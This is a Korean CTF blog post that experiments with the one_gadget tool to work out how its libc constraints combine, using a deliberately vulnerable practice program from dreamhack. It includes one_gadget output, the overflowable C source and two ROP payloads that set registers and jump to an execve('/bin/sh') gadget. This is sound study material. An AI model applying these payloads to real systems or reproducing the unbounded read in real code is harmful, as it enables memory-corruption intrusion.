one_gadget 툴을 사용하다보면 출력되는 제약조건이 어떤 뜻인지 헷갈릴때가 있다.
아래와 같은 경우 libc-2.31.so 에 존재하는 constraints를 출력시켜보았는데,
jun@ubuntu:~/jun/CTF_CONFIG/libc-database$ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
위와 같이
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
와 같은 형식으로 표현되는 경우, 어떤 논리 관계인지 알아보기 힘들다.
이에 실험을 진행해보았다.
테스트용 코드
테스트용 코드는 dreamhack.io의 basic_exploitation_x64 파일을 이용했다.
//basic_rop_x64.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
가젯을 이용해 constraints를 맞추어주며 one_gadget을 실행여부를 확인해보자.
Constraints 만족시키기위한 가젯 찾기
위에서 찾은 one_gadget의 constraints에서 언급된
r15, r12, rsi, rdx
를 설정해줄 수 있는 (pop ~) 가젯들을 찾아보았다.
pop r15
pop r12
pop rsi
가젯들을 찾았다.
(rdx 가젯은 없었다.)
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
이에 위 one_gadget을 이용해 테스트를 진행했다.
1. r15 != NULL and r12 == NULL
2. r15 == NULL and r12 == NULL
두가지를 진행해보았으며, 결론적으로 r15 == NULL and r12 == NULL 의 경우만 실행되었다.
Gadget 실행가능시점 (main함수 RET) 에서의 레지스터 상태
위와 같이 main함수가 리턴하는 순간 (이때 ret 주소를 오버플로우를 이용해 gadget 주소로 변경한다.)
의 레지스터 상태를 살펴보았다.
r15 : 0x0
r12 : 0x400650
rdx : 0x40
rsi : 0x7fff25856760
이었다.
그러면 [r15] == 0은 만족아닐까?
[r15] vs r15의 차이 :
전자는 해당 레지스터 값이 가리키고있는 주소의 값
후자는 해당 레지스터 값
이라고 알고있는데, 가젯으로 제약조건을 맞춰줘야하는 상황 (pop r15) 에서는
r15를 0으로 만들어주는게 훨씬 편하다.
#Case 1
r15 != NULL and r12 == NULL
payload = b"A"*buf2sfp
payload += p64(pop_r12_r13_r14_r15)
payload += p64(0) // r12 == NULL
payload += p64(0)
payload += p64(0)
payload += p64(40) // r15 != NULL
payload += p64(og_addr)
안된다.
#Case 2
r15 == NULL and r12 == NULL
payload = b"A"*buf2sfp
payload += p64(pop_r12_r13_r14_r15)
payload += p64(0) // r12 == NULL
payload += p64(0)
payload += p64(0)
payload += p64(0) // r15 == NULL
payload += p64(og_addr)
r12를 0을 만들어주니 성공했다.
r15가 0이 아니면 실패한다.
결론적으로
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
따위로 표현된 제약조건은
([r15] == NULL or r15 == NULL) and ([r12] == NULL or r12 == NULL)
인 것 같다.
'CTF > CTF_Configuration' 카테고리의 다른 글
CTF-pwnable용 Docker 설치 및 사용법 (0) | 2022.02.16 |
---|---|
main_arena offset 구하기 (0) | 2022.02.09 |
ROPgadget 사용법 (ROP 가젯 찾는법, 리턴가젯 찾아주는 프로그램) (0) | 2022.02.09 |
one_gadget 설치 및 사용법 (0) | 2022.02.04 |
libc 버전 찾기/버전 별로 다운로드하기 (libc_database 사용법, libc.blukat.me 사용법) (0) | 2022.02.04 |